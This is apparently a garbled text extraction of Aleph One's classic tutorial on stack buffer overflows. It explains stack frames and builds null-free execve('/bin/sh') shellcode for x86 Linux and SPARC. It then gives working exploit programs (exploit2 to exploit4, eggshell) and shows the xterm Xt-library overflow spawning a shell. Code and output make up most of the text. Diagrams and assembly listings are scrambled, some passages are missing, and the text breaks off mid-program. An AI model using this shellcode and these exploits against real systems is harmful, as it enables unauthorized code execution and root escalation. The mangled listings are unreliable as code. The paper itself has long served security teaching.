Alph Smashing Security
Alph Smashing Security
Introduction
Over the last few months there has been a large increase of buffer overflow
vulnerabilities being both discovered and exploited. Examples of these are syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts
to explain what buffer overflows are, and how their exploits work. Basic knowledge of
assembly is required. An understanding of virtual memory concepts, and experience
with gdb are very helpful but not necessary. We also assume we are working with an
Intel x86 CPU, and that the operating system is Linux. Some basic definitions before
we begin: A buffer is simply a contiguous block of computer memory that holds
multiple instances of the same data type. C programmers normally associate with the
word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C,
can be declared either static or dynamic. Static variables are allocated at load time on
the data segment. Dynamic variables are allocated at run time on the stack. To
overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves
only with the overflow of dynamic buffers, otherwise known as stack-based buffer
overflows.
lower
memory
addresses
higher
memory
addresses
What Is A Stack?
A stack is an abstract data type frequently used in computer science. A stack of objects
has the property that the last object placed on the stack will be the first object
removed. This property is commonly referred to as last in, first out queue, or a LIFO.
Several operations are defined on stacks. Two of the most important are PUSH and
POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack
size by one by removing the last element at the top of the stack.
Modern computers are designed with the need of high-level languages in mind. The
most important technique for structuring programs introduced by high-level languages
is the procedure or function. From one point of view, a procedure call alters the flow of
control just as a jump does, but unlike a jump, when finished performing its task, a
function returns control to the statement or instruction following the call. This
high-level abstraction is implemented with the help of the stack. The stack is also used
to dynamically allocate the local variables used in functions, to pass parameters to the
functions, and to return values from the function.
provided to do most of the procedure prolog and epilog work efficiently. Let us see
what the stack looks like in a simple example:
example1.c:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
To understand what the program does to call function() we compile it with gcc using
the -S switch to generate assembly code output:
$ gcc -S -o example1.s example1.c
By looking at the assembly language output we see that the call to function() is
translated to:
pushl $3
pushl $2
pushl $1
call function
This pushes the 3 arguments to function backwards into the stack, and calls function().
The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the
saved IP the return address (RET). The first thing done in function is the procedure
prolog:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto
EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then
allocates space for the local variables by subtracting their size from SP.
We must remember that memory can only be addressed in multiples of the word size.
A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8
bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words)
of memory. That is why SP is being subtracted by 20. With that in mind our stack
looks like this when function() is called (each space represents a byte):
bottom of
memory
top of
memory
buffer2
buffer1
sfp
ret
<------
][
][
][
][
][
top of
stack
][
]
bottom of
stack
Buffer Overflows
A buffer overflow is the result of stuffing more data into a buffer than it can handle.
How can this often found programming error can be taken advantage to execute
arbitrary code? Lets look at another example:
example2.c
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
This program has a function with a typical buffer overflow coding error. The function
copies a supplied string without bounds checking by using strcpy() instead of
strncpy(). If you run this program you will get a segmentation violation. Lets see what
its stack looks [like] when we call function:
bottom of
memory
<-----top of
stack
top of
memory
buffer
[
sfp
][
ret
][
*str
][
]
bottom of
stack
is 0x41. That means that the return address is now 0x41414141. This is outside of the
process address space. That is why when the function returns and tries to read the next
instruction from that address you get a segmentation violation. So a buffer overflow
allows us to change the return address of a function. In this way we can change the
flow of execution of the program. Lets go back to our first example and recall what the
stack looked like:
bottom of
memory
top of
memory
buffer2
<------
buffer1
][
sfp
][
top of
stack
ret
][
a
][
b
][
c
][
]
bottom of
stack
Lets try to modify our first example so that it overwrites the return address, and
demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the
stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[].
But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address
is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that
the assignment statement 'x = 1;' after the function call will be jumped. To do so we
add 8 bytes to the return address.
Our code is now: example3.c:
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
What we have done is add 12 to buffer1[]'s address. This new address is where the
return address is stored. We want to skip past the assignment to the printf call. How
did we know to add 8 [should be 10] to the return address? We used a test value first
(for example 1), compiled the program, and then started gdb:
We can see that when calling function() the RET will be 0x8004a8, and we want to
jump past the assignment at 0x80004ab. The next instruction we want to execute is the
at 0x8004b2. A little math tells us the distance is 8 bytes [should be 10].
Shell Code
So now that we know that we can modify the return address and the flow of execution,
what program do we want to execute? In most cases we'll simply want the program to
spawn a shell. From the shell we can then issue other commands as we wish. But what
if there is no such code in the program we are trying to exploit? How can we place
arbitrary instruction into its address space? The answer is to place the code with [you]
are trying to execute in the buffer we are overflowing, and overwrite the return address
so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S
stands for the code we want to execute the stack would then look like this:
bottom of
memory
<------
DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer
EEEE
CDEF
sfp
FFFF
0123
ret
FFFF
4567
a
FFFF
89AB
b
FFFF
CDEF
c
[SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^
|
top of
memory
|____________________________|
top of
stack
bottom of
stack
To find out what it looks like in assembly we compile it, and start up gdb. Remember
to use the -static flag. Otherwise the actual code for the execve system call will not be
included. Instead there will be a reference to dynamic C library that would normally
would be linked in at load time.
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 :
pushl %ebp
0x8000131 :
movl
%esp,%ebp
0x8000133 :
subl
$0x8,%esp
0x8000136 :
movl
$0x80027b8,0xfffffff8(%ebp)
0x800013d :
movl
$0x0,0xfffffffc(%ebp)
0x8000144 :
pushl $0x0
0x8000146 :
leal
0xfffffff8(%ebp),%eax
0x8000149 :
pushl %eax
0x800014a :
movl
0xfffffff8(%ebp),%eax
0x800014d :
pushl %eax
0x800014e :
call
0x80002bc <__execve>
0x8000153 :
addl
$0xc,%esp
0x8000156 :
movl
%ebp,%esp
0x8000158 :
popl
%ebp
0x8000159 :
ret
End of assembler dump.
Lets try to understand what is going on here. We'll start by studying main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
This is the procedure prelude. It first saves the old frame pointer, makes the current
stack pointer the new frame pointer, and leaves space for the local variables. In this
case its: char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves
space for two words (8 bytes).
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer
of name[]. This is equivalent to: name[0] = "/bin/sh";
0x800013d : movl $0x0,0xfffffffc(%ebp)
We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent
to: name[1] = NULL; The actual call to execve() starts here.
0x8000144 : pushl $0x0
We push the arguments to execve() in reverse order onto the stack. We start with
NULL.
We load the address of the string "/bin/sh" into the EAX register.
0x800014d : pushl %eax
Call the library procedure execve(). The call instruction pushes the IP onto the stack.
Now execve(). Keep in mind we are using a Intel based Linux system. The syscall
details will change from OS to OS, and from CPU to CPU. Some will pass the
arguments on the stack, others on the registers. Some use a software interrupt to jump
to kernel mode, others use a far call. Linux passes its arguments to the system call on
the registers, and uses a software interrupt to jump into kernel mode.
0x80002bc <__execve>:
pushl
0x80002bd <__execve+1>: movl
0x80002bf <__execve+3>: pushl
%ebp
%esp,%ebp
%ebx
$0xb,%eax
Copy 0xb (11 decimal) onto the stack. This is the index into the syscall table. 11 is
execve.
0x80002c5 <__execve+9>: movl
0x8(%ebp),%ebx
movl
0xc(%ebp),%ecx
movl
0x10(%ebp),%edx
int
$0x80
0x800035f <_exit+19>:
0x8000360 <_exit+20>:
0x8000361 <_exit+21>:
0x8000362 <_exit+22>:
0x8000363 <_exit+23>:
End of assembler dump.
popl
ret
nop
nop
nop
%ebp
The exit syscall will place 0x1 in EAX, place the exit code in EBX, and execute "int
0x80". That's it. Most applications return 0 on exit to indicate no errors. We will place
0 in EBX. Our list of steps is now:
a. Have the null terminated string "/bin/sh" somewhere in memory.
b. Have the address of the string "/bin/sh" somewhere in memory followed by a null
long word.
c. Copy 0xb into the EAX register.
d. Copy the address of the address of the string "/bin/sh" into the EBX register.
e. Copy the address of the string "/bin/sh" into the ECX register.
f. Copy the address of the null long word into the EDX register.
g. Execute the int $0x80 instruction.
h. Copy 0x1 into the EAX register.
i. Copy 0x0 into the EBX register.
j. Execute the int $0x80 instruction.
Trying to put this together in assembly language, placing the string after the code, and
remembering we will place the address of the string, and null word after the array, we
have:
movl
string_addr,string_addr_addr
movb
$0x0,null_byte_addr
movl
$0x0,null_addr
movl
$0xb,%eax
movl
string_addr,%ebx
leal
string_addr,%ecx
leal
null_string,%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
/bin/sh string goes here.
The problem is that we don't know where in the memory space of the program we are
trying to exploit the code (and the string that follows it) will be placed. One way
around it is to use a JMP, and a CALL instruction. The JMP and CALL instructions
can use IP relative addressing, which means we can jump to an offset from the current
IP without needing to know the exact address of where in memory we want to jump to.
If we place a CALL instruction right before the "/bin/sh" string, and a JMP instruction
to it, the strings address will be pushed onto the stack as the return address when
CALL is executed. All we need then is to copy the return address into a register. The
CALL instruction can simply call the start of our code above. Assuming now that J
stands for the JMP instruction, C for the CALL instruction, and s for the string, the
execution flow would now be:
bottom of
memory
DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer
EEEE
CDEF
sfp
FFFF
0123
ret
FFFF
4567
a
FFFF
89AB
b
FFFF
CDEF
c
<------
top of
memory
[JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^
^|
|
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
bottom of
stack
top of
stack
[There are not enough small-s in the figure; strlen("/bin/sh") == 7.] With this
modifications, using indexed addressing, and writing down how many bytes each
instruction takes our code looks like:
jmp
offset-to-call
# 2 bytes
popl
%esi
# 1 byte
movl
%esi,array-offset(%esi) # 3 bytes
movb
$0x0,nullbyteoffset(%esi)# 4 bytes
movl
$0x0,null-offset(%esi)
# 7 bytes
movl
$0xb,%eax
# 5 bytes
movl
%esi,%ebx
# 2 bytes
leal
array-offset(%esi),%ecx # 3 bytes
leal
null-offset(%esi),%edx
# 3 bytes
int
$0x80
# 2 bytes
movl
$0x1, %eax
# 5 bytes
movl
$0x0, %ebx
# 5 bytes
int
$0x80
# 2 bytes
call
offset-to-popl
# 5 bytes
/bin/sh string goes here.
Calculating the offsets from jmp to call, from call to popl, from the string address to
the array, and from the string address to the null long word, we now have:
jmp
popl
movl
movb
movl
movl
movl
leal
leal
int
movl
movl
0x26
%esi
%esi,0x8(%esi)
$0x0,0x7(%esi)
$0x0,0xc(%esi)
$0xb,%eax
%esi,%ebx
0x8(%esi),%ecx
0xc(%esi),%edx
$0x80
$0x1, %eax
$0x0, %ebx
#
#
#
#
#
#
#
#
#
#
#
#
2
1
3
4
7
5
2
3
3
2
5
5
bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
int
$0x80
call
-0x2b
.string \"/bin/sh\"
# 2 bytes
# 5 bytes
# 8 bytes
Looks good. To make sure it works correctly we must compile it and run it. But there
is a problem. Our code modifies itself [where?], but most operating system mark code
pages read-only. To get around this restriction we must place the code we wish to
execute in the stack or data segment, and transfer control to it. To do so we will place
our code in a global array in the data segment. We need first a hex representation of
the binary code. Lets compile it first, and then use gdb to obtain it.
shellcodeasm.c
void main() {
__asm__("
jmp
0x2a
popl
%esi
movl
%esi,0x8(%esi)
movb
$0x0,0x7(%esi)
movl
$0x0,0xc(%esi)
movl
$0xb,%eax
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
call
-0x2f
.string \"/bin/sh\"
");
}
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
3
1
3
4
7
5
2
3
3
2
5
5
2
5
8
bytes
byte
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
bytes
0x800014e :
leal
0xc(%esi),%edx
0x8000151 :
int
$0x80
0x8000153 :
movl
$0x1,%eax
0x8000158 :
movl
$0x0,%ebx
0x800015d :
int
$0x80
0x800015f :
call
0x8000135
0x8000164 :
das
0x8000165 :
boundl 0x6e(%ecx),%ebp
0x8000168 :
das
0x8000169 :
jae
0x80001d3 <__new_exitfn+55>
0x800016b :
addb
%cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 :
0xeb
(gdb)
0x8000134 :
0x2a
(gdb)
.
.
.
testsc.c
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
It works! But there is an obstacle. In most cases we'll be trying to overflow a character
buffer. As such any null bytes in our shellcode will be considered the end of the
string, and the copy will be terminated. There must be no null bytes in the shellcode
for the exploit to work. Let's try to eliminate the bytes (and at the same time make it
smaller).
Problem instruction:
Substitute with:
-------------------------------------------------------movb
$0x0,0x7(%esi)
xorl
%eax,%eax
molv
$0x0,0xc(%esi)
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
-------------------------------------------------------movl
$0xb,%eax
movb
$0xb,%al
-------------------------------------------------------movl
$0x1, %eax
xorl
%ebx,%ebx
movl
$0x0, %ebx
movl
%ebx,%eax
inc
%eax
--------------------------------------------------------
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
#
2 bytes
1 byte
3 bytes
2 bytes
3 bytes
3 bytes
2 bytes
2 bytes
3 bytes
3 bytes
2 bytes
2 bytes
2 bytes
1 bytes
2 bytes
5 bytes
8 bytes
46 bytes total
");
}
Writing an Exploit
Lets try to pull all our pieces together. We have the shellcode. We know it must be
part of the string which we'll use to overflow the buffer. We know we must point the
return address back into the buffer. This example will demonstrate these points:
overflow1.c
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
[aleph1]$ gcc -o exploit1 exploit1.c
[aleph1]$ ./exploit1
$ exit
exit
[aleph1]$
What we have done above is filled the array large_string[] with the address of buffer[],
which is where our code will be. Then we copy our shellcode into the beginning of the
large_string string. strcpy() will then copy large_string onto buffer without doing any
bounds checking, and will overflow the return address, overwriting it with the address
where our code is now located. Once we reach the end of main and it tried to return it
jumps to our code, and execs a shell. The problem we are faced when trying to
overflow the buffer of another program is trying to figure out at what address the
buffer (and thus our code) will be. The answer is that for every program the stack will
start at the same address. Most programs do not push more than a few hundred or a
few thousand bytes into the stack at any one time. Therefore by knowing where the
stack starts we can try to guess where the buffer we are trying to overflow will be.
Here is a little program that will print its stack pointer:
sp.c
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main() {
printf("0x%x\n", get_sp());
}
[aleph1]$ ./sp
0x8000470
[aleph1]$
Lets assume this is the program we are trying to overflow is: vulnerable.c
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
We can create a program that takes as a parameter a buffer size, and an offset from its
own stack pointer (where we believe the buffer we want to overflow may live). We'll
put the overflow string in an environment variable so it is easy to manipulate:
exploit2.c
#include <stdlib.h>
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
0
512
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
Now we can try to guess what the buffer and offset should be:
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100
Using address: 0xbffffd4c
[aleph1]$ ./vulnerable $EGG
Segmentation fault
[aleph1]$ exit
As we can see this is not an efficient process. Trying to guess the offset even while
knowing where the beginning of the stack lives is nearly impossible. We would need
at best a hundred tries, and at worst a couple of thousand. The problem is we need to
guess *exactly* where the address of our code will start. If we are off by one byte
more or less we will just get a segmentation violation or a invalid instruction. One way
to increase our chances is to pad the front of our overflow buffer with NOP
instructions. Almost all processors have a NOP instruction that performs a null
operation. It is usually used to delay execution for purposes of timing. We will take
advantage of it and fill half of our overflow buffer with them. We will place our
shellcode at the center, and then follow it with the return addresses. If we are lucky
and the return address points anywhere in the string of NOPs, they will just get
executed until they reach our code. In the Intel architecture the NOP instruction is one
byte long and it translates to 0x90 in machine code. Assuming the stack starts at
address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the
new stack would look like this:
bottom of
memory
<------
DDDDDDDDEEEEEEEEEEEE
89ABCDEF0123456789AB
buffer
EEEE
CDEF
sfp
FFFF
0123
ret
FFFF
4567
a
FFFF
89AB
b
FFFF
CDEF
c
top of
memory
[NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
^
|
|_____________________|
top of
stack
bottom of
stack
0
512
0x90
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
A good selection for our buffer size is about 100 bytes more than the size of the buffer
we are trying to overflow. This will place our code at the end of the buffer we are
trying to overflow, giving a lot of space for the NOPs, but still overwriting the return
address with the address we guessed. The buffer we are trying to overflow is 512 bytes
long, so we'll use 612. Let's try to overflow our test program with our new exploit:
[aleph1]$ ./exploit3 612
Using address: 0xbffffdb4
Whoa! First try! This change has improved our chances a hundredfold. Let's try it now
on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow
on the Xt library. For our example, we'll use xterm (all programs linked with the Xt
library are vulnerable). You must be running an X server and allow connections to it
from the localhost. Set your DISPLAY variable accordingly.
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
....
Warning: some arguments in previous message were lost
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost
bash$
Eureka! Less than a dozen tries and we found the magic numbers. If xterm were
installed suid root this would now be a root shell.
are then allocated elsewhere. The stack at the beginning then looks like this:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv>envp>
Our new program will take an extra variable, the size of the variable containing the
shellcode and NOPs. Our new exploit now looks like this:
exploit4.c
#include <stdlib.h>
#define
#define
#define
#define
DEFAULT_OFFSET
DEFAULT_BUFFER_SIZE
DEFAULT_EGG_SIZE
NOP
0
512
2048
0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize
= atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
Lets try our new exploit with our vulnerable test program:
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
On the first try! It has certainly increased our odds. Depending on how much
environment data the exploit program has compared with the program you are trying
to exploit the guessed address may be too low or too high. Experiment both with
positive and negative offsets.
SPARC/Solaris
SPARC/SunOS
jmp
0x1f
popl
%esi
movl
%esi,0x8(%esi)
xorl
%eax,%eax
movb
%eax,0x7(%esi)
movl
%eax,0xc(%esi)
movb
$0xb,%al
movl
%esi,%ebx
leal
0x8(%esi),%ecx
leal
0xc(%esi),%edx
int
$0x80
xorl
%ebx,%ebx
movl
%ebx,%eax
inc
%eax
int
$0x80
call
-0x24
.string \"/bin/sh\"
sethi
or
sethi
and
add
xor
add
std
st
st
mov
ta
xor
mov
ta
sethi
or
sethi
and
add
xor
add
std
st
st
mov
mov
ta
xor
mov
ta
0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
8
%o7, %o7, %o0
1, %g1
8
0xbd89a, %l6
%l6, 0x16e, %l6
0xbdcda, %l7
%sp, %sp, %o0
%sp, 8, %o1
%o2, %o2, %o2
%sp, 16, %sp
%l6, [%sp - 16]
%sp, [%sp - 8]
%g0, [%sp - 4]
0x3b, %g1
-0x1, %l5
%l5 + 1
%o7, %o7, %o0
1, %g1
%l5 + 1
shellcode.h
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE
1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE
4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
eggshell.c
/*
* eggshell v1.0
*
* Aleph One / [email protected]
*/
#include
#include stdio.h
#include "shellcode.h"
#define DEFAULT_OFFSET
#define DEFAULT_BUFFER_SIZE
#define DEFAULT_EGG_SIZE
0
512
2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
-eof-